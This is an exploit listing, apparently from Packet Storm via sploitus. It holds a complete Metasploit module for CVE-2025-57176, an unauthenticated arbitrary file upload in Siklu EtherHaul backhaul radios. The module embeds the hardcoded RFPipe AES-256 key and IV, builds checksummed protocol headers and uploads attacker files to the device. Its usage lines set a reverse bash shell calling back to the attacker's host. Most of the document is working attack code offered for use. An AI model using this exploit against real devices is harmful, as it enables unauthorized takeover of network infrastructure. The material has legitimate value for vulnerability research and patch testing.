Share
## https://sploitus.com/exploit?id=PACKETSTORM:216231
=============================================================================================================================================
| # Title : Siklu EtherHaul Series EH-8010 / EH-1200 Unauthenticated Arbitrary File Upload via Encrypted RFPipe Protocol |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.1 (64 bits) |
| # Vendor : https://www.ceragon.com/products/siklu-by-ceragon |
=============================================================================================================================================
[+] References : https://packetstorm.news/files/id/214067/ & CVE-2025-57176
[+] Summary : This module exploits an unauthenticated arbitrary file upload vulnerability in Siklu EtherHaul wireless backhaul devices (CVEβ2025β57176).
By abusing the proprietary encrypted RFPipe protocol, an unauthenticated remote attacker can upload arbitrary files to the target system without valid credentials.
The module implements full AESβ256βCBC IV chaining, checksum validation, and TCP fragmentation handling to ensure reliable exploitation across EtherHaul firmware versions.
[+] Usage :
use exploit/linux/misc/siklu_rce
set RHOSTS [TARGET_IP]
set PAYLOAD cmd/unix/reverse_bash
set LHOST [YOUR_IP]
exploit
[+] POC :
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'openssl'
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::Tcp
include Msf::Exploit::FileDropper
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Siklu EtherHaul Unauthenticated Arbitrary File Upload',
'Description' => %q{
This module exploits an unauthenticated arbitrary file upload vulnerability
in Siklu EtherHaul devices (CVE-2025-57176). It leverages the encrypted
RFPipe protocol to upload files. The module is designed for industrial
stability with full IV chaining and TCP fragmentation support.
},
'Author' => [ 'indoushka' ],
'License' => MSF_LICENSE,
'References' => [
['CVE', '2025-57176'],
['URL', 'https://semaja2.net/2025/08/03/siklu-eh-unauth-arbitrary-file-upload/']
],
'Platform' => 'linux',
'Arch' => [ ARCH_ARMLE, ARCH_MIPSLE ], # Common architectures for EH series
'Privileged' => true,
'Targets' => [ [ 'Automatic', {} ] ],
'DisclosureDate' => '2025-08-02',
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
}
)
)
register_options([
Opt::RPORT(555),
OptString.new('REMOTE_PATH', [true, 'Remote path to save the file', '/tmp/pwned']),
OptPath.new('LOCAL_FILE', [true, 'Local file to upload']),
OptInt.new('TIMEOUT', [true, 'Timeout for encrypted responses (seconds)', 10])
])
end
KEY = [
0x89, 0xE7, 0xFF, 0xBE, 0xEB, 0x2D, 0x73, 0xF5,
0xA9, 0x10, 0xFC, 0x42, 0x5B, 0x1F, 0x36, 0x17,
0x9F, 0xB9, 0x5E, 0x75, 0x35, 0xA3, 0x42, 0xA0,
0x5D, 0x02, 0x48, 0xB1, 0x19, 0xD2, 0x4B, 0x82
].pack('C*')
IV0 = [0xEA703B82, 0x75A9A17B, 0x1DFC7BB9, 0x55A24D72].pack('V*')
def encrypt_and_send(data)
padded_data = data.ljust((data.length + 15) & ~15, "\x00")
cipher = OpenSSL::Cipher.new('AES-256-CBC')
cipher.encrypt
cipher.key = KEY
cipher.iv = @current_send_iv
cipher.padding = 0
encrypted = cipher.update(padded_data) + cipher.final
@current_send_iv = encrypted[-16..-1]
begin
sock.put(encrypted)
rescue => e
print_error("Socket error during transmission: #{e.message}")
return false
end
true
end
def decrypt_received(n_bytes)
return "" if n_bytes <= 0
n_padded = (n_bytes + 15) & ~15
ct = ""
while ct.length < n_padded
chunk = sock.get_once(n_padded - ct.length, datastore['TIMEOUT'])
break if chunk.nil?
ct << chunk
end
return nil if ct.length < n_padded
cipher = OpenSSL::Cipher.new('AES-256-CBC')
cipher.decrypt
cipher.key = KEY
cipher.iv = @current_recv_iv
cipher.padding = 0
pt = cipher.update(ct) + cipher.final
@current_recv_iv = ct[-16..-1]
pt[0...n_bytes]
end
def validate_checksum(hdr)
return false unless hdr && hdr.length == 144
provided_cs = hdr[12...16].unpack1('V')
calculated_cs = (hdr[0...12].unpack('C*').sum + hdr[16...144].unpack('C*').sum) & 0xFFFFFFFF
provided_cs == calculated_cs
end
def build_header(msg_type, payload_len, path, flag = 0x00)
hdr = "\x00" * 144
hdr[0] = flag.chr
hdr[1] = msg_type.chr
hdr[8...12] = [payload_len].pack('V')
path_bytes = (path + "\x00").byteslice(0, 128)
hdr[16, path_bytes.length] = path_bytes
hdr[12...16] = [(hdr[0...12].unpack('C*').sum + hdr[16...144].unpack('C*').sum) & 0xFFFFFFFF].pack('V')
hdr
end
def check
connect
@current_send_iv = @current_recv_iv = IV0
encrypt_and_send(build_header(0x03, 0, ""))
res = decrypt_received(144)
disconnect
if validate_checksum(res)
vprint_status("Target responded with valid RFPipe checksum. Message Type: 0x#{res[1].unpack1('H*')}")
return Exploit::CheckCode::Vulnerable
end
Exploit::CheckCode::Safe
rescue
Exploit::CheckCode::Unknown
end
def exploit
connect
@current_send_iv = @current_recv_iv = IV0
payload = File.binread(datastore['LOCAL_FILE'])
register_file_for_cleanup(datastore['REMOTE_PATH'])
print_status("Sending file upload request (Flag: 0x00, Msg: 0x04)...")
return unless encrypt_and_send(build_header(0x04, payload.length, datastore['REMOTE_PATH']))
print_status("Streaming payload data...")
return unless encrypt_and_send(payload)
res_hdr = decrypt_received(144)
if validate_checksum(res_hdr)
msg_type = res_hdr[1].unpack1('C')
p_len = res_hdr[8...12].unpack1('V')
if msg_type == 0x05
print_good("Success: Device confirmed file receipt.")
else
print_warning("Device responded with unexpected Msg Type: 0x#{msg_type.to_s(16)}")
end
decrypt_received(p_len) if p_len > 0
else
print_error("Failed to validate response integrity (Checksum/Timeout error).")
end
ensure
disconnect
end
end
Greetings to :============================================================
jericho * Larry W. Cashdollar * r00t * Malvuln (John Page aka hyp3rlinx)*|
==========================================================================